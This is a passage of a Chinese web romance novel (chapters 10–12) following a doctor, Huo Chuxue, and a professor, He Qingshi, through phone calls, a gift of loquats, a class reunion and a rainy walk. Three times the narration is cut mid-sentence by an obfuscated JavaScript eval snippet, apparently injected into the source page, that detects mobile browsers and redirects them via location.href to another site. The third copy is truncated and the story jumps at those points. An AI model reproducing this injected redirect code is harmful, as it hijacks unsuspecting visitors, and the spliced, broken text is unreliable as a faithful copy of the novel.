她迫不及待用勺子舀了一勺送进嘴里,鸡肉酥软,米粒粘稠,味蕾瞬间被取悦。双眼微眯,一脸享受。 一碗粥分分钟被她搜刮干净。填饱肚子,收拾完桌子,她这才从抽屉里翻出手机。她要给贺清时打个电话,好好感谢一下他。对于饥饿劳累的人来说,这份菠菜鸡丝粥无异于是雪中送炭。 手机里还有两条未读短信。 贺清时:「谢谢霍医生,改天答谢。」 贺清时:「给你打包了一份粥,放在护士站了,你记得去取。」 一条在三个小时以前,一条在两个小时以前。 这人编辑短信的内容还真是和他的为人一样,中规中矩,一丝不苟,连个标点都不错,显得古板生硬。 霍初雪不喜欢发短信,她嫌麻烦,有事直接打电话。 “霍医生?”电话接通后,男人沉重的鼻音透过电流传过来。 “贺先生,你到家了吗?” “到家了,有点犯困,正打算睡个午觉。” 霍初雪懒洋洋地靠在椅子上,一只手握手机,另一只手不自觉在揉捏病例本的页脚,一下接着一下,很有节奏,“谢谢你给我打包的粥,我很喜欢。” 贺清时的音色很清淡,“不用客气,顺手而已,倒是我最近一直在麻烦霍医生。” “这么点小事,贺先生不必放在心上。” 两人相互客套着,礼貌又疏离。 “你中午喝了什么粥?”霍初雪继续问。 “青菜南瓜粥。” “味道怎么样?” “我挺喜欢的。” “他们家的招牌是香菇鸡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15487862|170113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝粥和血糯米粥,等你牙齿好了,可以尝尝看。” “好,我下次试试。” “霍医生,我现在需要睡一会儿,太困了。” “那你好好休息,多喝热水。” “再见。”那边利索地挂断电话。 电话那头传来一阵忙音,通话戛然而止。 霍初雪像是被什么给击中了,心房塌陷了一角。 *** 贺清时这一觉睡得有些久。醒来后,天色擦黑,远处起起伏伏千万盏明灯,星罗密布,绵延不绝,是坠入人间的银河。 卧室空荡,人心也空荡,黑暗无穷无尽,漫无边际。他置身其中,无力挣脱,只能任由自己被一点一点吞噬掉。 都说午睡不能睡得太久,不然醒过来的那刻人是最孤独的。 他踩着拖鞋走到窗边,伸手轻轻推开窗户,外头不知何时落起了雨。 暗淡天光下,斜雨潇潇,空气被雨水浸润,几株稀薄老树摇晃着叶子,雨滴筛了一地。 这雨下得突然,他晒在阳台上的衣服还没来得及收进来。 不紧不慢去到阳台,衣服早已淋湿,衣摆湿哒哒的往下掉水。 他收进屋里,挂在晾衣架上,也没打算重新洗一遍,任由它去。 他还饿着肚子。 自从兰姨怀孕以后,老两口搬出贺家,在外面租了房子。他的一日三餐就越发没有规律了。想起来就对付一顿,想不起就过去了,每天都过得浑浑噩噩的。 十年前,这个家所有人都在。后面苏缈走了,媛媛走了,父母走了。兰姨和贵叔也搬离了贺家。 十年后的今天,他孑然一身,了无生趣地守着这栋空房子。 贺清时用手机订了份外卖。 等外卖的过程中,他快速处理了几份邮件。 上周给3班布置的作业,学习委员江暖已经统一收好发到他邮箱了。 他是A大特聘教授,只带两个班,一个2班,一个3班。 两个班的作业,批改起来很快。 外卖十五分钟后准时送达。 同样一份玉米火腿瘦肉粥,却是连一粥一饭一半的味道都不及。店家打碎了盐罐子,粥咸得要死。不止咸,还有一股浓郁的肉腥味儿混在其中。 他尝了两口,胃里直犯恶心,转手就给扔进了垃圾桶。 嘴里味道重,他匆忙跑去卫生间刷牙。越过茶几,险些被一箱东西给绊倒。 低头一看,发现罪魁祸首是枇杷。贵叔前几天刚给他送来的。 满满一大箱,足足有十多斤。他分给几个同事,后面还剩了一些。 他怕酸,一贯不爱吃枇杷。这箱枇杷被他扔在家里好些天了,压根儿没动过。 家里干燥,温度也不高,枇杷不容易坏。鲜黄的果子,个头硕大,看上去还很新鲜。 贺清时刷完牙出来,给自己倒了杯温水。隔着玻璃,透明的液体清澈见底。 他一口气灌下半杯,这才勉强压下胃里的不适。今晚这份外卖着实吃得恶心。 看着这些枇杷,脑海里不自觉浮现一张年轻女人的脸。 霍初雪跟他提过一嘴,她母亲很喜欢吃岑岭的枇杷。 想到这里,他找来一只干净的纸袋,小心翼翼装好枇杷,摆在茶几正中间显眼的位置。 将这些枇杷送给霍初雪,就当是还她人情了。 人情债最难还,他不想一直欠她的。 11. 第10棵树 第10棵树 贺清时打算把那袋枇杷送给霍初雪。趁着周末休息,他特意跑了趟第一医院,只可惜并未如愿见到对方。 又是一个周一,贺清时下午有课。怕自己忘记,他特地将那袋枇杷带去了教室。 一旦置身教室,面对学生,时间消磨得很快。一节九十分钟的大课很快便结束了。 江暖走向讲台桌,扬起声线,“贺老师,找您说件事。” 贺清时埋头拔投影仪线,神情专注,并未抬头,音色淡淡的,“你说。” 江暖的声音细而轻,咬字清晰,“是这样的,我们辅导员下周离职,这个周日我们班同学打算给他办个欢送会,想邀请您前来参加。” 闻言,年轻男人这才缓缓抬头,下意识问:“别的任课老师去吗?” “都去的。” “在哪儿?” “地点还没定。” 贺清时将电脑收进电脑包,沉声道:“那定好了告诉我。” 这些年他一直活得很独,不愿和别人过多接触。可身在红尘,俗事纷扰,难以避免。很多时候又不得不去应付。 江暖抿嘴一笑,双眸亮了亮,“好的,贺老师。” 在A大上完课,贺清时直奔第一医院。 上午刚下过一场牛毛小雨,天色尚有几分阴郁。 不过车子一开出A大,天立马就放晴了,一扫之前的阴霾,几朵流云飘浮。 雨后,空气湿漉漉的,像是浸了水的海绵,似乎一伸手就有水渗出来。 昨天从医院回去用了药,那药非常见效,牙疼得到缓解,不复之前那般疼痛难忍。 症状减轻,贺清时的心情也跟着明朗起来。 进入环城西路,对面亮起红灯,他踩下刹车,及时停在路口。 车窗押了一条窄缝,早春微凉的风钻进车内,携裹来丝丝缕缕春天的气息。 他转头看向窗外,道路两旁的梧桐树葱绿,枝头绿意盎然。叶片上还挂着小水珠,太阳一照,晶莹剔透。 春生,真是一个适合生命滋长的季节。 抵达医院后,贺清时先去了兰姨的病房,他给兰姨带了好几样营养品。 兰姨见他又提了一大堆东西来,不禁失笑,“清时,你别再买了,你看我这床头都堆满了,吃不了那么多。” 贺清时自顾放营养品,“慢慢吃,又没让你一下子就吃掉。” 贵叔抱着小婴儿坐在窗边,举着奶瓶喂奶。动作看上去生硬又笨拙。然而眉眼间却难掩兴奋。 小晴天吮吸着奶嘴,小嘴一张一张,十分可爱。刚出生的孩子一天一个样儿,他已经开始慢慢长开了。 贺清时不敢走近,只远远看了两眼。 随后便剥离掉目光,转头看向病床,“兰姨,有没有瞧见霍医生?我找她有点事儿。” 兰姨:“霍医生中午过来了一遍,后面就没来了。应该是在办公室,你去那儿看看。” 贺清时径直前去医生办公室。 霍初雪如今还是个主治,没有自己独立的办公室,是和其他医生共用的。一个大办公室,分开四个区块,一人一个工位。 办公室的门虚掩着,留了一条门缝。 男人孑然站在门外,抬手敲了敲门。 里面无人回应。 他轻轻推开门,办公室里阙静无声,略显空荡。 他赶巧了,同办公室的其他三个医生一个轮休,一个出门诊,一个上手术去了。偌大的办公室就只剩下霍初雪一个人。 而她就缩在沙发上睡觉。 睡相嘛…… 睡相还真是不敢恭维。 刺喇喇,横七竖八,像只大虾蜷缩成一团。白大褂套在身上,宽大松散,被压出一条条褶皱。 沙发靠窗,午后阳光被玻璃切割,照了一半进来,光影显得尤为整齐。室内半明半昧,空气里一线线光柱,有细小的尘埃悬浮。 一半阳光照在霍初雪身上,暴露在外的皮肤近乎透明。她那张素净的小脸上看不见一丝杂质,像是剥了壳的鸡蛋,光滑细腻。 她睡得很熟,浑然未觉沙发旁站了个人。 她似乎总是这么没有防备心。就像上次在岑岭,她竟然那么大胆直接就闯进了家里。万幸贺清时不是坏人。 这个女医生表面看着文弱,内里胆大包天。 贺清时不想打扰霍初雪休息,他深知医护人员的艰辛,每天上班就跟打仗似的。他打算把那袋枇杷放在她办公桌上就悄然离开。 或许是他的脚步不够轻,他从霍初雪身旁经过,她似有所感应,像是听到了什么,猛地翻了个身。 他呼吸一停,心跳加速,以为她马上就要醒了。 这边正忐忑,一转头就看见女人从沙发圆润地滚到了地板上。 “砰……”声响清脆。 贺清时:“……” 不自觉停下脚步。 身体接触到冷冰冰的地板,霍初雪整个人浑然一震,从睡梦中惊醒。 刚醒来,睡眼惺忪。 她一边揉眼睛,一边坐直身体。右手移开,视野瞬间变得开阔起来,眼前似乎有一道阴影。 什么鬼? 她心下一惊,赫然抬眸,男人高大挺拔的身影毫无预兆地闯入视线。 与此同时,还有那张浑然天成的俊颜。 霍初雪:“……” 她捂住脸,只想原地挖坑把自己给埋了。 —— 上午连着两台剖宫产手术,一站就是一两个小时。下手术后,霍初雪精疲力尽。关键是犯困,困意来袭,来势汹汹,根本招架不住。 春困果然不是开玩笑的。 她到办公室去喝水,补充体力。原本没想在办公室睡觉。可身体一沾到沙发,分分钟就睡了过去。 霍初雪清楚自己的睡相,借用闺蜜乔圣晞的话就是:猪的睡相都比她好看。 所以说,她那么难看的睡姿不仅被贺清时看到了。她滚下沙发的窘样也被他看进了眼里。 社死来得猝不及防,又轰轰烈烈。 她赶紧从地板上爬起来,扒拉两下头发,手足无措道:“那个……贺先生你怎么在这里?” 贺清时手里提着那袋枇杷,一时间有些尴尬。他贸然闯入人家办公室,明显是打扰了人家休息。 “抱歉霍医生,打扰到你休息了。” “无妨无妨。”手指一根根抚过,霍初雪拼命捋平白大褂,神色慌乱,“你找我有什么事吗?” 经她这么一问,贺清时才想起正事。 他把手里那袋枇杷往霍初雪跟前送了送,“你上次说阿姨喜欢吃枇杷,我今天给你送过来。” “阿姨?” 哪个阿姨? 刚睡醒,霍医生觉得自己的脑袋有些转不过弯儿来,一时间衔接不上,想不起贺清时口中的这个“阿姨”指的是谁。 贺清时善意提醒:“你母亲。” “哦……”霍初雪一拍脑袋,这才想起前两天自己跟贺清时胡诌的那些话。 “谢谢,没想到你还记得。”她一股脑接过枇杷,掂在手里,脸不红,心不跳继续胡扯:“你家的枇杷皮薄肉厚,汁.水多,还很甜,我妈妈特别喜欢吃。” “自家的东西,不值钱,阿姨喜欢就好。”神态疏离,言语间很是客气。 “我先去看看兰姨。”东西送到,贺清时不打算久留,他还要去看望兰姨。 霍初雪笑容满面,“好的,贺先生慢走!” 贺清时离开办公室,霍初雪盯着那袋枇杷看了好久。越看越开心,不自觉偷偷笑了出来。刚才的窘态一扫而空。 她从纸袋里拿出一颗,仔细剥了皮,送进嘴里。果肉绵软,水分酣甜,似乎甜到了心坎里。 *** 傍晚下班,闺蜜乔圣晞蹭霍初雪的顺风车回家。 霍医生将那一大袋枇杷塞进后备箱。 乔圣晞瞥了一眼,眼神好奇,“袋子里装了什么?” 霍初雪咧嘴一笑,一脸神秘,“宝贝。” 乔圣晞:“……” 乔圣晞伸手扒开纸袋,往里一看,看见一颗颗橙黄的果实。 她轻哼一声,“不就是一袋枇杷嘛,宝贝个毛线。” 霍初雪小心翼翼地将纸袋摆好,护犊子道:“你不懂,这可是来自岑岭的枇杷。” 乔圣晞不以为意,“岑岭的枇杷有什么稀奇的,又不是没吃过。” 岑岭的枇杷不稀奇,可这是贺清时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15487863|170113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送的,那便是稀世珍宝。 关于这袋枇杷,霍初雪不想和闺蜜解释太多。她目视前方,专注开车,银色小车徐徐往前开。 乔圣晞坐在副驾上摆弄手机。 摆弄了一会儿,她冷不丁冒出话来:“小雪,我听林瑶说昨天中午有个帅哥给你送爱心午餐了?” 霍初雪:“……” 林瑶的那张嘴巴可真快,真该给她缝起来。 霍初雪眨了眨眼,不免失笑,“哪有什么帅哥,是贺清时。” 乔圣晞:“……” “卧草!”这下轮到乔圣晞震惊了。 她一瞬不错地盯紧闺蜜,“宝儿,你这战斗力不容小觑啊!人这么快就给你送爱心午餐了?” 霍初雪:“……” 她晕死,好闺蜜脑补的能力要不要这么厉害啊? 霍初雪一手握方向盘,腾出另一只手撩起散落颊边的碎发,慢条斯理解释:“还爱心午餐,没有的事儿。昨天中午和他吃饭,三十五床那病人出了点事儿,那顿饭就没吃成,我直接回医院了。人家给我打包了一份送到了护士站。” “你这速度也很溜啊,都约上饭了。”乔圣晞露出姨母般微笑,“照这速度下去,将那老男人收入囊中不是指日可待嘛!” 乔圣晞话里的“老男人”瞬间让霍初雪拧起眉头,浓眉皱作一团。 她面露不满,“乔护士,请注意用词,人家哪里老了。” 乔圣晞脱口而出:“都三十七岁了还不老啊?” “西西!”霍初雪拍了下方向盘,脸拉下来。 “行啊小雪,这就开始护犊子了啊!” “在我眼里三十七岁不算老,得看脸。” “你说他不老可没用,得你爸妈说他不老才行。” 霍初雪:“……” 乔圣晞蓦地语重心长起来,慢吞吞道:“小雪,就你那点小心思根本藏不住,你爸妈一眼就能看出来。我承认那人的皮囊确实不错,养眼得很。可生活是现实的,光有皮囊可没用。” *** 贺清时送的那袋枇杷实在有些多。霍初雪吃了一些,余下的做了罐头,放进冰箱冷藏。 没过两天,她就收到了3班同学聚会的邀请。 班长大人也不知从谁那里要到了她的手机号,电话狂轰滥炸,一连拨了好几个。在电话那头声情并茂,洋洋洒洒地说了一大堆,热情地邀请她去参加此次同学聚会。 因为之前就和乔圣晞通过气,知道闺蜜要去参加,所以她果断答应了。 这次同学聚会定在周末,在西子人家,一家连锁大饭店。 西子人家是青陵很有人气的连锁饭店,走的是网红路线,价格亲民,深受一些年轻人的青睐。很多人聚餐会友都会选择来这里。 像这种同学聚会,一般都是班上那些混得好的同学组织的。聚会放在西子人家也算照顾到了那些混得不怎么好的同学。 后面两天,霍初雪一直没见到贺清时。 据兰姨透露,他每天都会来医院。只是可惜两人的时间点合不上。他来医院的时候,霍初雪大多在手术台上。愣是一直没碰面。 兰姨很快就出院了。 出院那天,贺清时来医院接她。 他照旧穿着一身深色西装,清冷矜贵,也显得刻板。 几次接触下来,霍初雪发现他基本上不穿别的衣服,每次都是西装。而且都是深色系,冷色调,灰、黑、藏青三色轮转。 霍初雪给兰姨签了出院小结。贵叔办好相关手续,东西也已经收拾好了。 夫妻俩给产科每个医护人员都道了谢,感谢大家伙的照顾。尤其是方茹和霍初雪。 老两口给众人郑重鞠了一躬,“谢谢大家。” 明明相处的时间并不久,可真到了出院的时候,霍初雪反而有些伤感。大概是离别不分大小,不分场合。 方茹叮嘱这对夫妻:“好好把孩子带大,你们的福气在后头。” 霍初雪张开双臂拥抱这位勇敢的女士,“张阿姨,照顾好自己,有事给我打电话。” 站在产科住院部十六楼的阳台上,她眼睁睁看着白色小车载着老人和孩子驶离自己的视线。 以后怕是再也见不到贺清时了。 12. 第11棵树 第11棵树 同学会很快就到了。 周日那天傍晚,霍初雪和乔圣晞一起赶去西子人家。 西子人家地处天竺路,隐于树影丛林间的一家主打杭帮菜的网红饭店,近年来被炒得很火。 它距离第一医院有点远,一南一北,完全是两个方向。怕迟到,两个姑娘特意提前一个小时出发。 可惜是下雨天,路况不好,又是晚高峰,车子堵了大半个小时。 所幸最后踩点到了。 西子人家,一栋仿古建筑,整体是苏州园林的布局,怀旧文艺。客人置身其中,仿佛误入了古代的大户人家。 饭店很大,霍初雪和乔圣晞还是问了工作人员才找到了206包厢。 站在包厢门外,乔圣晞不禁渍渍赞叹两声:“小雪,你还别说,这饭店设计得老有感觉了。咱们那几个老同学还是很有眼光的嘛!” 医院工作忙,霍初雪没那个心力应酬,朋友也没几个。平日里出门会客的机会并不多。她也是第一次来西子人家,刚一路都在暗中观察这家饭店。这种复古文艺风确实很得时下年轻人的喜爱。 “是挺漂亮的,应该有很多人过来打卡。”她的右手触到冰凉的门柄,轻轻往下一摁,“咱们进去吧。” 乔圣晞点头说好。 包厢里众人围坐一团,欢声笑语,气氛活络。到场的不仅有同学,还有老师,人数比霍初雪原先预计的还要多,3班的师生差不多都出席了这次聚会。 十多年没见,第一眼看过去全是生面孔,一个都不认识。压根儿没法和过去的同学对上号。霍初雪仔细分辨才认出3班的班长。 班长宋明,西装革履,顶着浑圆的啤酒肚,短发打着发蜡,油光可鉴,肉眼可见的油腻。 宋明高中时期就是一个瓷实的胖子,肥嘟嘟的脸上全是肉,笑起来一脸褶子。现如今这么些年过去,他不见瘦,反而越发圆润了。 霍初雪和乔圣晞的长相倒是没什么变化,人家一眼就认出来了。 宋明赶紧迎过去,端着笑脸,“两位大美女,真是让人好等啊!我们这一大群人可都等着你俩呢!” 乔圣晞掀眼望着宋明,弯唇嫣然一笑,随口打趣道:“班长大人,您这气色瞧着不错啊,越来越有福相了!” 宋明:“……” 宋明咧掩面而笑,“这不是单位伙食太好了嘛,都长膘了!哈哈哈~” 宋明如今是青陵某局的一局之长,算是混得好的,一脸的官相。 霍初雪和乔圣晞高中那会儿就是班上数一数二的美女。尤其是乔圣晞,妥妥的班花一枚,不少男生偷偷暗恋她。 这么多年没见,两姑娘越发出挑了,低眉浅笑,楚楚动人。在座的有些男士眼睛一下子就亮了,见缝插针逮着两人说话。 尤其是单身的霍初雪,身边围了好几个老同学。他们太热情,她险些招架不住。 囫囵搪塞几句,赶紧闪人,缩角落里去了。 这次同学聚会一共来了三位老师,班主任刘老师,数学老师李老师,还有教物理的郑老师。 十年未见,三位老师两鬓苍苍,皱纹横亘,古铜色的脸上难以避免地留下一道道岁月的痕迹。 两个姑娘同三位老师简单地打过招呼后就入座了。 她们并排坐在靠窗的位置。窗外雨水淋漓未尽,一滴滴不间断地敲打着透明玻璃,水渍斑驳,阴冷沉郁。 这间包厢连着一条长廊,长廊到头就是饭店后院。院子里种了很多绿植,葱郁翠绿,生机勃发。昏黄灯影淌过几棵不知名的新树,微风拂过,它们抖动着叶子,筛下点点细雨。 隔着窗户看到这些树,不知为何,霍初雪竟然又想起了贺清时岑岭别墅里的那棵枇杷树。 不知道岑岭今天是什么天气,有没有下雨呢?那棵枇杷树是不是也像外头这些树一样沐浴在一片迷潆长雨中? 想到枇杷树,自然而然就想到了树的主人。贺清时现在在哪儿?他又在做什么? 乔圣晞喊了两声,见霍初雪没反应,伸手扯了扯她的风衣衣袖。 衣袖间的那点拉扯感将霍初雪召唤回现实,她对上闺蜜的视线,眼底掠过一丝困惑,像是在问:“怎么了?” 乔圣晞俯身凑过去,在她耳旁低声问:“怎么样?” “什么怎么样?”霍初雪不明所以。 “老同学啊!”乔圣晞抬手指了指,“你看得怎么样?” 霍初雪嗓音平平,不咸不淡地回答一句:“不怎么样。” “确实。”对此,乔圣晞深表认同:“咱们班这群男生,个个歪瓜裂枣,也就周末还能看看。” 这不,刚说到曹操,曹操就到了。 周末和邹依姗姗来迟。不过俊男美女,养眼登对,倒是在大家伙面前狠狠地撒了把狗粮。 邹依今天穿了条白色鱼尾长裙,腰身纤细。她盘了那种少女盘发,脸上妆容精致,一看就是特意倒腾过的。 不像霍初雪和乔圣晞,她俩随便套了件衣服就出门了,比随意还随意。 夫妻俩和老师们寒暄。邹依礼貌得体,落落大方,哪里还有当年自卑胆怯的影子。 “小雪,纪梵希呢!”乔圣晞的语气冷涔涔的,带着一股敌意。 霍初雪朝邹依的鱼尾裙投去一眼,纪梵希的早春新款,她和闺蜜半个月前还在杂志上见过。 她不着痕迹地剥离掉视线,没吱声,心里也不在意。邹依如今可是电视台知名主持人,一条纪梵希的裙子对她来说就是毛毛雨而已。 “迟到了啊!周末你说,咱们这些老同学多少年没见了,这么重要的日子,你竟然还给我迟到,说不过去了啊?”宋明数落周末的同时,目光又落在邹依身上,好半天才将她认出来。 “我去,邹依!”宋明神色震惊,嗷嗷大叫:“你俩啥情况啊?好啊,周末,有好事都不通知我!” 两人十指相扣,周末笑容满面,“婚礼办得仓促,没来得及通知大家,实在抱歉!” “我靠!都结婚了!你俩这保密工作也做得太好了吧!” “罚酒,必须罚酒!” “麻溜点,赶紧自罚三杯!”同学们纷纷附和。 …… 七嘴八舌,包厢里一阵哄乱。 这对夫妻到得晚,只有霍初雪身旁还有空位。邹依提着裙摆走过去,翩然落了座。 邹依下意识理了理衣领,转头看着霍初雪,“路上一直堵车,不然早到了。” 霍初雪冲她微微一笑,“雨天本来就容易堵车,我和西西还是提前从家里出发的。” 邹依:“我一直催周末早点出门,可你也知道周末那人做事总是不紧不慢的。” 人差不多来齐了,有序开场。 刘老师是班主任,端着酒杯说开场白:“一晃眼十年过去了,我们这些长辈都老了。一毕业,大家天南海北,分隔一方。像今天这样聚在一起,人来得这么全,还是头一次。说起来,这还是咱们3班第一次聚会。大家伙都来了,老师我特别欣慰。刚在路上,我还跟你们李老师和郑老师说,我们这几个老骨头今晚一定要陪你们这帮年轻人一起疯一疯。” 李老师立马接过话茬:“宋明一给我打电话,我当场就说要来参加这次聚会。这么多学生当中,我还是最喜欢你们班。” 有人扯着嗓子大喊:“李老师,您当年可不是这么说的,您可是说‘你们是我带过最差的一个班’!” “对对对,很多老师都说过这句话……” “哈哈哈……”大家伙一阵哄笑。 说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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另一个女生轻声回答:“你不知道啊?望川地震,苏老师当时正好在那里……” —— 须臾之间,这间包厢变得又闷又热,空气黏成一团,让人无处遁逃。 霍初雪觉得有些透不过气来,吐息困难。 她实在待不住了,扭头和闺蜜说:“我去趟洗手间。” “去吧。”乔圣晞搁桌底下握住好友的手,柔声安抚:“别想太多。” 霍初雪先去洗手间洗了把脸。 冷静下来后,她并不着急回包厢,而是一个人漫无目的转了转。 没走几步,不知不觉就来到了饭店后院。 路灯昏黄,雨丝缥缈,早春的清寒无孔不入,密密麻麻直往骨头缝里钻。 霍初雪站在屋檐下,注视着漫天雨雾出神。 风一吹,雨丝打在脸上,她下意识拢紧了风衣的衣领,抱紧手臂。 雨一直下不停,气温变低,整座城市变得阴冷沉郁。 迷蒙细雨中,几株新树瑟缩飘摇,叶片宽大,脉络清晰。雨水顺着宽大的叶子不断往下渗,滴滴答答,成串透明。 走近了她才发现这几棵树是枇杷树。翠绿生涩的果子藏在叶片后面,若隐若现。 和岑岭的气候不同,早春三月,青陵的枇杷还不能吃。 站了几分钟,清醒了下脑子,霍初雪转身回包厢。 推开包厢门,半低着头,也没仔细看包厢里的人,直接走了进去。 进到包厢里,很快就意识到有些不对劲儿。 包厢里的人都在看她,神色异样。一张张年轻的面孔快速从她眼前略过,她一个人都不认识。 哦,错了,还有一个人她是认识的。 13. 第12棵树 第12棵树 霍初雪仔细扫了一圈周边的人,反复确认,她确实一个人都不认识。 很显然,她走错包厢了。 她不期然闯入,让原本热闹欢腾的包厢瞬间陷入一种近乎诡异的静默。所有人纷纷停下手头动作,神色不明地看着她。 她尴尬死了,正欲开口解释,告诉他们自己不小心走错包厢了。 谁知耳畔毫无预兆地惊现一个低沉清润的男声,宛如雨滴淌过枇杷叶,撞破早春的料峭清寒,徒然敲在她心上,“霍医生?” 这个声音霍初雪太熟悉了,是早早长在她心里的声音,以至于当下听到,心尖狠狠发颤,咯噔一下。 她猛地抬头,顺着声源处望去,只见贺清时隐在人群里,眉目疏淡,面容平和。 男人没穿外套,白衬衫纤薄素净,熨烫挺括,不见一丝褶皱。衣摆扎进藏青色西装裤里,两条裤管勾勒出笔直流畅的腿部线条,充满了力量感。 他径直朝她走过去,步调显得有几分急促,衬衫衣摆抖动,时起时落。 终于站定,他压着眉,面露讶色,“霍医生,你怎么在这儿?” 这管声线低沉有力,平仄分明,犹如磁石一般紧紧吸住霍初雪的听觉神经。 她不好意思地笑了笑,小声解释:“不小心走错包厢了。” 贺清时福至心灵,脱口而出:“同学聚会?” “没错。”霍初雪微微掀动眼皮,目光四下扫动。 包厢里聚了一堆人,男男女女,一张张年轻面孔,朝气十足。他们把酒言欢,气氛很嗨。 想来这些应该是贺清时班上的学生。 果不其然,下一秒便听见贺清时说:“3班的辅导员离职,我们给他办欢送会。” 两人说话间,学生们好奇八卦的目光一直围绕着他们打转。毕竟在贺教授身边看到年轻漂亮的女性真是太稀罕了。 江暖站在角落里,偷偷打量霍初雪。这个年轻的女人无疑是漂亮的,五官精致,面容清丽,气质更是出挑,普普通通的豆绿色的长款风衣愣是穿出了明星的效果。 “贺老师,这位美女是谁啊?” 3班的班长,一个微胖的男生带头起哄。 “美女,自报家门呗!” 其他学生纷纷响应,包厢里迅速炸开了锅。 贺清时垂眸解释一句:“我的一个朋友。” “哦……原来是朋友……”学生们扯着嗓子,尾音拖得老长老长,一脸暧昧。 3班的辅导员孟老师同样是个年轻的男人,参加工作没两年,从不端着架子,平时总跟学生们打成一片。 他立刻提议:“既然这位美女是咱们贺老师的朋友,不如留下喝一杯吧?大家说怎么样啊?” “当然好了!”整齐划一,清脆响亮。 “喝一杯,喝一杯,喝一杯!” 这群孩子都是二十出头的年纪,个个唯恐天下不乱。 霍初雪倒也豪爽,并不推脱。她给自己倒了半杯红酒,仰头一饮而尽。 “大家好,我是霍初雪,初次见面,请多多关照。” 话音里带着一股江南人特有的软糯语调,一听就知道是青陵本地人。 “厉害呀,美女!” “好酒量!” 掌声四起,气氛高涨。 “不胜酒力,就这一杯。我还有事,就先失陪了。” 霍初雪看向贺清时,抬手指指门外,“我先走了。” 男人温和的目光掉落在她脸上,点了点头,“好。” —— 二十七八岁了,班上一大半同学都结了婚,成了家。家里有领导坐镇,自然不能玩得太晚。不到十点,场子就散了。 乔圣晞的老公不放心她,聚会还没结束就早早守在饭店门口。待里头散场后,直接把人给接走了。 逐一和同学们道别,霍初雪和周末夫妇俩垫后。 她立在饭店门口,身影显得有些单薄。长风衣被风撩起一个衣角,里头白色的线衫一闪而过。 周末撑开伞,邹依挽住他手,两人立于伞下,影子贴在一起。 周末抬眸朝霍初雪看过去,温声询问:“小雪,你今天有没有开车过来?要不要我捎你回去?” “我有开车过来,你们先走吧。”霍初雪注视漫天雨雾,眼神似乎有些空洞无神,话也说得并不走心。 几乎是下意识的反应,邹依挽住周末胳膊的那只手不由紧了紧。她出声催促:“咱们快些回家,我明早有个访谈,得抓紧时间熟悉一下台本。” 周末斜妻子一眼,“你就喜欢临时抱佛脚。” “我这不是之前一直抽不出时间嘛!” “还不就是懒!” …… 夫妻俩很快消失在雨雾里,声音也被成功湮灭掉。 周末走到停车场才想起来,自己刚才忘记问霍初雪有没有带伞了。 见邹依坐进车里,他转身欲走。 邹依见状,及时喊住他:“嗳,你还要去哪儿啊?” 周末看着停车场方向,“小雪应该没带伞,我去撑她过来。” 邹依面色微变,不着痕迹道:“小雪肯定带了伞的,要真没带伞刚才怎么不让我们撑她,你就别瞎操心了。” 周末想了想也是,收了伞坐进主驾,“那我们走吧!” 邹依甜甜一笑,“好呀!” —— 雨下个不停,雨声潇潇,嘈杂的声响一直萦绕在耳旁,仿佛有很多歌者聚在一起吹拉弹唱,尤为混乱。 霍初雪听在耳里,更觉烦躁。 雨里起了雾,檐下一盏廊灯,光线不足,更添几分朦胧。一层雨隔开视线,整座城市隐匿在雨雾中,只剩一抹细小剪影,灯火阑珊。 她站了好一会儿也不见雨势减弱。正打算冒雨跑去停车场。却见一把黑伞盖过自己头顶,成功隔绝了外头澜澜雨声,在她眼前投下大片阴影。 她一怔,猛地抬头,赫然对上男人那双漆黑发亮的眼睛。 他那双眼睛生得极好,丹凤眼,眼尾狭长,眼眸漆黑深邃,犹如一滩化不开的浓墨。 一般人可生不了如此好看的眼睛。 “没带伞?”一开口,嗓音清冽如泉,惊了一地的雨水。 “贺先生,你还没走?”霍初雪神色惊讶。 贺清时抬手揉揉眉心,面容倦怠,似是有些累,“那群孩子闹了半天,刚散场。” 她心下了然,他这样古板老派的老男人哪里适应得了毛头小子的场子。 “去哪儿?” “麻烦你撑我去停车场。” “好。” 两人并排走向停车场,步调一致,出奇的和谐。 江暖刚才不小心把手机落在包厢了。她去取了手机回来,好巧不巧的看到这一幕。 他们共撑一把伞,背影渐行渐远。俊男美女,比肩而立,说不出的登对。 江暖心中不免有些惆怅。 大概只有这样漂亮优秀的女人才配得上贺老师吧! —— 将霍初雪送到停车场,她坐进车里,隔着车窗同贺清时道谢:“贺先生,谢谢你撑我过来!” 男人立在车外,身影未动,只静静望着她。 霍初雪被他看得有些不自在,下意识问:“怎么了?” 贺清时压着眉,语气严肃,“霍医生,你刚喝了酒不能开车。” 霍初雪:“……” “对哦!”她哑然失笑,“你不说,我都忘记了。” 男人不容置喙道:“你坐我的车,我送你回去。” “你刚没喝酒?” “没有。” 霍初雪心情不佳,没心思抠这些小细节。她直接坐进贺清时的车子。 银色小车,车身澄亮,落满迷潆雨水。 